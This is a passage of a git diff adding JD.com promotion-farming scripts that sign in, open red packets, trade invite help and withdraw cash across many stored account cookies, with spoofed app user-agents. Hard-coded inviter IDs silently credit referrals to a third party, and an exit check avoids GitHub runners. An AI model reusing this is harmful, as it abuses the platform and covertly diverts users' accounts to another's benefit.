redEnvelopeId: res.data.redEnvelopeId, + inviter: res.data.markedPin + }) + } + await wait(2000) + } + + console.log('内部助力码:', shareCodesSelf) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + await getCodesHW(); + if (i === 0) + shareCodes = [...shareCodesHW, ...shareCodesSelf] + else + shareCodes = [...shareCodesSelf, ...shareCodesHW] + + for (let boss of shareCodes) { + if (boss.redEnvelopeId && boss.inviter) { + console.log(`账号${i + 1} ${UserName} 去助力 `, boss.redEnvelopeId) + boss.inviter + ? res = await api('openRedEnvelopeInteract', boss.redEnvelopeId, boss.inviter, 2) + : res = await api('openRedEnvelopeInteract', boss.redEnvelopeId, boss.inviter, 1) + console.log(JSON.stringify(res)) + if (res.code === 16020) { + await wait(3000) + break + } + res = res.data.helpResult + if (res.code === 16013) { + console.log('上限') + break + } else if (res.code === 16012) { + console.log('已助力过') + } else if (res.code === 0) { + console.log('成功', res.data.amount) + } else if (res.code === 16004) { + console.log('不助力自己') + } else { + console.log('其他错误', res.errMsg) + } + await wait(3000) + } + } + } +})() + +async function api(fn: string, redEnvelopeId: string, inviter: string, helpType: number = 2) { + let linkId: string = 'PFbUR7wtwUcQ860Sn8WRfw' + try { + let {data} = await axios.get(`https://api.m.jd.com/?functionId=openRedEnvelopeInteract&body={%22linkId%22:%22${linkId}%22,%22redEnvelopeId%22:%22${redEnvelopeId}%22,%22inviter%22:%22${inviter}%22,%22helpType%22:%22${helpType}%22}&t=${Date.now()}&appid=activities_platform&clientVersion=3.5.0`, { + headers: { + 'Host': 'api.m.jd.com', + 'accept': 'application/json, text/plain, */*', + 'origin': 'https://618redpacket.jd.com', + 'user-agent': 'jdltapp;iPhone;3.5.0;14.2;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;hasOCPay/0;appBuild/1066;supportBestPay/0;pv/7.0;apprpd/;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'accept-language': 'zh-cn', + 'referer': `https://618redpacket.jd.com/?activityId=${linkId}&redEnvelopeId=${redEnvelopeId}&inviterId=${inviter}&helpType=1&lng=&lat=&sid=`, + 'Cookie': cookie + } + }) + return data; + } catch (e) { + return {code: -1} + } +} + +async function getCodesHW() { + try { + let {data}: any = await axios.get(`https://api.jdsharecode.xyz/api/HW_CODES`, {timeout: 10000}) + console.log('获取HW_CODES成功(api)') + shareCodesHW = data['fcdyj'] || [] + } catch (e: any) { + console.log('获取HW_CODES失败(api)') + } +} \ No newline at end of file diff --git a/jd_speed_redpocke.js b/jd_speed_redpocke.js new file mode 100644 index 0000000000..aa5d3eb87b --- /dev/null +++ b/jd_speed_redpocke.js @@ -0,0 +1,720 @@ +/* +京东极速版红包 +自动提现微信现金 +活动地址:https://prodev.m.jd.com/jdlite/active/31U4T6S4PbcK83HyLPioeCWrD63j/index.html +活动入口:京东极速版-领红包 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东极速版红包 +10 0,22 * * * jd_speed_redpocke.js, tag=京东极速版红包, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "10 0,22 * * *" script-path=jd_speed_redpocke.js,tag=京东极速版红包 + +===============Surge================= +京东极速版红包 = type=cron,cronexp="10 0,22 * * *",wake-system=1,timeout=3600,script-path=jd_speed_redpocke.js + +============小火箭========= +京东极速版红包 = type=cron,script-path=jd_speed_redpocke.js, cronexpr="10 0,22 * * *", timeout=3600, enable=true +*/ + +const $ = new Env('京东极速版红包'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = [], cookie = '', message; +const linkIdArr = ["9wdf1YTT2L59Vr-meKskLA", "7ya6o83WSbNhrbYJqsMfFA"], signLinkId = '9WA12jYGulArzWS7vcrwhw'; +let linkId = ''; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + console.log(`\n如提示活动火爆,可再执行一次尝试\n`); + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + for (let j = 0; j < linkIdArr.length; j++) { + linkId = linkIdArr[j] + await jsRedPacket() + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jsRedPacket() { + try { + await sign();//极速版签到提现 + await reward_query(); + for (let i = 0; i < 3; ++i) { + await redPacket();//开红包 + await $.wait(2000) + } + await getPacketList();//领红包提现 + await signPrizeDetailList(); + await showMsg() + } catch (e) { + $.logErr(e) + } +} + +function showMsg() { + return new Promise(resolve => { + if (message) $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +async function sign() { + return new Promise(resolve => { + const body = {"linkId": signLinkId, "serviceName": "dayDaySignGetRedEnvelopeSignService", "business": 1}; + const options = { + url: `https://api.m.jd.com`, + body: `functionId=apSignIn_day&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform`, + headers: { + 'Cookie': cookie, + "Host": "api.m.jd.com", + 'Origin': 'https://daily-redpacket.jd.com', + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": "jdltapp;iPhone;3.3.2;14.5.1network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone13,2;addressid/137923973;hasOCPay/0;appBuild/1047;supportBestPay/0;pv/467.11;apprpd/MyJD_Main;", + "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9, zh-Hant-CN;q=0.8", + 'Referer': `https://daily-redpacket.jd.com/?activityId=${signLinkId}`, + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + if (data.data.retCode === 0) { + message += `极速版签到提现:签到成功\n`; + console.log(`极速版签到提现:签到成功\n`); + } else { + console.log(`极速版签到提现:签到失败:${data.data.retMessage}\n`); + } + } else { + console.log(`极速版签到提现:签到异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function reward_query() { + return new Promise(resolve => { + $.get(taskGetUrl("spring_reward_query", { + "inviter": ["HXZ60he5XxG8XNUF2LSrZg"][Math.floor((Math.random() * 1))], + linkId + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + + } else { + console.log(data.errMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function redPacket() { + return new Promise(resolve => { + $.get(taskGetUrl("spring_reward_receive", {"inviter": ["HXZ60he5XxG8XNUF2LSrZg"][Math.floor((Math.random() * 1))], linkId}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data.received.prizeType !== 1) { + message += `获得${data.data.received.prizeDesc}\n` + console.log(`获得${data.data.received.prizeDesc}`) + } else { + console.log("获得优惠券") + } + } else { + console.log(data.errMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getPacketList() { + return new Promise(resolve => { + $.get(taskGetUrl("spring_reward_list", {"pageNum": 1, "pageSize": 100, linkId, "inviter": ""}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + for (let item of data.data.items.filter(vo => vo.prizeType === 4)) { + if (item.state === 0) { + console.log(`去提现${item.amount}微信现金`) + message += `提现${item.amount}微信现金,` + await cashOut(item.id, item.poolBaseId, item.prizeGroupId, item.prizeBaseId) + } + } + } else { + console.log(data.errMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function signPrizeDetailList() { + return new Promise(resolve => { + const body = {"linkId": signLinkId, "serviceName": "dayDaySignGetRedEnvelopeSignService", "business": 1, "pageSize": 20, "page": 1}; + const options = { + url: `https://api.m.jd.com`, + body: `functionId=signPrizeDetailList&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform`, + headers: { + 'Cookie': cookie, + "Host": "api.m.jd.com", + 'Origin': 'https://daily-redpacket.jd.com', + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": "jdltapp;iPhone;3.3.2;14.5.1network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone13,2;addressid/137923973;hasOCPay/0;appBuild/1047;supportBestPay/0;pv/467.11;apprpd/MyJD_Main;", + "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9, zh-Hant-CN;q=0.8", + 'Referer': `https://daily-redpacket.jd.com/?activityId=${signLinkId}`, + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + if (data.data.code === 0) { + const list = (data.data.prizeDrawBaseVoPageBean.items || []).filter(vo => vo['prizeType'] === 4 && vo['prizeStatus'] === 0); + for (let code of list) { + console.log(`极速版签到提现,去提现${code['prizeValue']}现金\n`); + message += `极速版签到提现,去提现${code['prizeValue']}微信现金,` + await apCashWithDraw(code['id'], code['poolBaseId'], code['prizeGroupId'], code['prizeBaseId']); + } + } else { + console.log(`极速版签到查询奖品:失败:${JSON.stringify(data)}\n`); + } + } else { + console.log(`极速版签到查询奖品:异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId) { + return new Promise(resolve => { + const body = { + "linkId": signLinkId, + "businessSource": "DAY_DAY_RED_PACKET_SIGN", + "base": { + "prizeType": 4, + "business": "dayDayRedPacket", + "id": id, + "poolBaseId": poolBaseId, + "prizeGroupId": prizeGroupId, + "prizeBaseId": prizeBaseId + } + } + const options = { + url: `https://api.m.jd.com`, + body: `functionId=apCashWithDraw&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform`, + headers: { + 'Cookie': cookie, + "Host": "api.m.jd.com", + 'Origin': 'https://daily-redpacket.jd.com', + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": "jdltapp;iPhone;3.3.2;14.5.1network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone13,2;addressid/137923973;hasOCPay/0;appBuild/1047;supportBestPay/0;pv/467.11;apprpd/MyJD_Main;", + "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9, zh-Hant-CN;q=0.8", + 'Referer': `https://daily-redpacket.jd.com/?activityId=${signLinkId}`, + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + if (data.data.status === "310") { + console.log(`极速版签到提现现金成功!`) + message += `极速版签到提现现金成功!`; + } else { + console.log(`极速版签到提现现金:失败:${JSON.stringify(data)}\n`); + } + } else { + console.log(`极速版签到提现现金:异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function cashOut(id, poolBaseId, prizeGroupId, prizeBaseId,) { + let body = { + "businessSource": "SPRING_FESTIVAL_RED_ENVELOPE", + "base": { + "id": id, + "business": null, + "poolBaseId": poolBaseId, + "prizeGroupId": prizeGroupId, + "prizeBaseId": prizeBaseId, + "prizeType": 4 + }, + linkId, + "inviter": "" + } + return new Promise(resolve => { + $.post(taskPostUrl("apCashWithDraw", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + console.log(`提现零钱结果:${data}`) + data = JSON.parse(data); + if (data.code === 0) { + if (data['data']['status'] === "310") { + console.log(`提现成功!`) + message += `提现成功!\n`; + } else { + console.log(`提现失败:${data['data']['message']}`); + message += `提现失败:${data['data']['message']}`; + } + } else { + console.log(`提现异常:${data['errMsg']}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body) { + return { + url: `https://api.m.jd.com/`, + body: `appid=activities_platform&functionId=${function_id}&body=${escape(JSON.stringify(body))}&t=${+new Date()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + // 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'user-agent': "jdltapp;iPhone;3.3.2;14.3;b488010ad24c40885d846e66931abaf532ed26a5;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/2005183373;hasOCPay/0;appBuild/1049;supportBestPay/0;pv/220.46;apprpd/;ref/JDLTSubMainPageViewController;psq/0;ads/;psn/b488010ad24c40885d846e66931abaf532ed26a5|520;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1618673222002|1618673227;adk/;app_device/IOS;pap/JA2020_3112531|3.3.2|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1 ", + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded", + "referer": "https://an.jd.com/babelDiy/Zeus/q1eB6WUB8oC4eH1BsCLWvQakVsX/index.html" + } + } +} + +function taskGetUrl(function_id, body) { + return { + url: `https://api.m.jd.com/?appid=activities_platform&functionId=${function_id}&body=${escape(JSON.stringify(body))}&t=${+new Date()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded", + "referer": "https://an.jd.com/babelDiy/Zeus/q1eB6WUB8oC4eH1BsCLWvQakVsX/index.html" + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? {url: t} : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { + } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({url: t}, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = {url: `http://${h}/v1/scripting/evaluate`, body: {script_text: t, mock_type: "cron", timeout: r}, headers: {"X-Key": o, Accept: "*/*"}}; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { + })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { + })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const {url: s, ...i} = t; + this.got.post(s, i).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = {"M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds()}; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return {openUrl: e, mediaUrl: s} + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return {"open-url": e, "media-url": s} + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return {url: e} + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/jd_speed_sign.js b/jd_speed_sign.js new file mode 100644 index 0000000000..8bd8d71a24 --- /dev/null +++ b/jd_speed_sign.js @@ -0,0 +1,789 @@ +/* +京东极速版签到+赚现金任务 +每日9毛左右,满3,10,50可兑换无门槛红包 +⚠️⚠️⚠️一个号需要运行40分钟左右 + +活动时间:长期 +活动入口:京东极速版app-现金签到 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东极速版 +0 7,19 * * * jd_speed_sign.js, tag=京东极速版, img-url=https://raw.githubusercontent.com/Orz-3/task/master/jd.png, enabled=true + +================Loon============== +[Script] +cron "0 7,19 * * *" script-path=jd_speed_sign.js,tag=京东极速版 + +===============Surge================= +京东极速版 = type=cron,cronexp="0 7,19 * * *",wake-system=1,timeout=33600,script-path=jd_speed_sign.js + +============小火箭========= +京东极速版 = type=cron,script-path=jd_speed_sign.js, cronexpr="0 7,19 * * *", timeout=33600, enable=true +*/ + +const $ = new Env('京东极速版'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'visa-card-001'; + +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await jdGlobal() + await $.wait(2*1000) + } + } +})() + +async function jdGlobal() { + try { + await richManIndex() + + await wheelsHome() + await apTaskList() + await wheelsHome() + + await signInit() + await sign() + // await invite() + // await invite2() + $.score = 0 + $.total = 0 + await taskList() + await queryJoy() + await signInit() + await cash() + await showMsg() + } catch (e) { + $.logErr(e) + } +} + + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.score}金币,共计${$.total}金币\n可兑换 ${($.total/10000).toFixed(2)} 元京东红包\n兑换入口:京东极速版->我的->金币` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +async function signInit() { + return new Promise(resolve => { + $.get(taskUrl('speedSignInit', { + "activityId": "8a8fabf3cccb417f8e691b6774938bc2", + "kernelPlatform": "RN", + "inviterId":"U44jAghdpW58FKgfqPdotA==" + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = 